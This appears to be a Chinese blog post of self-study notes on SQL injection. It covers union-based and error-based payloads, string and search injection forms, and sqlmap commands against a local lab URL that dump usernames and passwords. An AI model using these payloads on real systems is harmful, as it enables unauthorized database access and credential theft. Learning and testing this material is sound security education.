自学sql注入(二)

这是笔者自行整理出来的有关sql注入的一些知识点,自己还有些迷迷糊糊,可能有些不对的地方。等学完之后,再来详写一系列的关于sql注入的文章

自学sql注入(一)
自学sql注入(三)

基于union查询的注入

1、首先利用数据库自带的表达式获取数据库名

id=-1 union select 1,2,database()

2、再利用表达式爆出表名:

id=-1 union select 1,(select table_name from information_schema.tables where table_schema='testa' limit 0,1),database()

3、再利用表达式爆出列名:

id=-1 union select 1,(select column_name from information_schema.columns where table_schema='testa' and table_name='tabb' limit 0,1),database()

4、知道表名列名后,就可直接通过数据库查询语句获得想要的信息:

id=-1 union select 1,(select username from users where id=5),(select password from users where id=5)

group_concat用法

直接列出当前所有的表名:

id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#

列出所有列名

id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3#

$id :数字型注入:

 id=1 union select 1,2,3

‘$id’:字符型注入:

id=1' union select 1,2,3#   //  #和-- 都是屏蔽符,在url编码中#为%23,-- (此处有个空格)为--+

字符型除了单引号’之外,还有",’)等等方式

‘%$id%’

搜索型注入:

id=1%' union select 1,2,3#

sqlmap基础使用

需要环境

python2.7

用法

python2 sqlmap.py -u “http://192.168.11.28/mysql/sqli.php?id=1” (-u主要用于get请求,双引号内是存在注入点的url链接)

跑出当前的库名(库名是testa)

python2 sqlmap.py -u “http://192.168.11.28/mysql/sqli.php?id=1” --current-db

跑出当前库的所有表名(表名是tabb)

python2 sqlmap.py -u “http://192.168.11.28/mysql/sqli.php?id=1” -D “testa” --tables

跑出当前表的列名(列名有id,username,password)

python2 sqlmap.py -u “http://192.168.11.28/mysql/sqli.php?id=1” -D “testa” -T “tabb” --columns

跑出当前表列名对应的值

python2 sqlmap.py -u “http://192.168.11.28/mysql/sqli.php?id=1” -D “testa” -T “tabb” -C “id,username,password” --dump

在用户sqlmap文件夹内也能看到输出的值

基于报错的注入

以下3个函数能引起数据库的报错,我们可以构造语句使关键信息出现在报错的内容中

updatexml()
extractvalue()
floor()

updatexml(1,2,3),是从一个xml文档里面寻找值并替换,1是寻找的目标,2是文档中的路径,3是用来替换的值。

报错原理是如果不存在文档的路径,那么就会把路径的信息显示到报错文本中

payload:updatexml(1,concat(0x7e,database(),0x7e),1)

0x7e是~的16进制,这样做一是为了方便看,二是防止报错内容吞掉部分路径信息,保持信息输出的完整性

extractvalue(1,2)跟updatexml的用法相似,唯一的区别就是没有替换功能,其他都一样的。

extractvalue(1,concat(0x7e,database(),0x7e))

猜你喜欢

转载自blog.csdn.net/weixin_45663905/article/details/107303655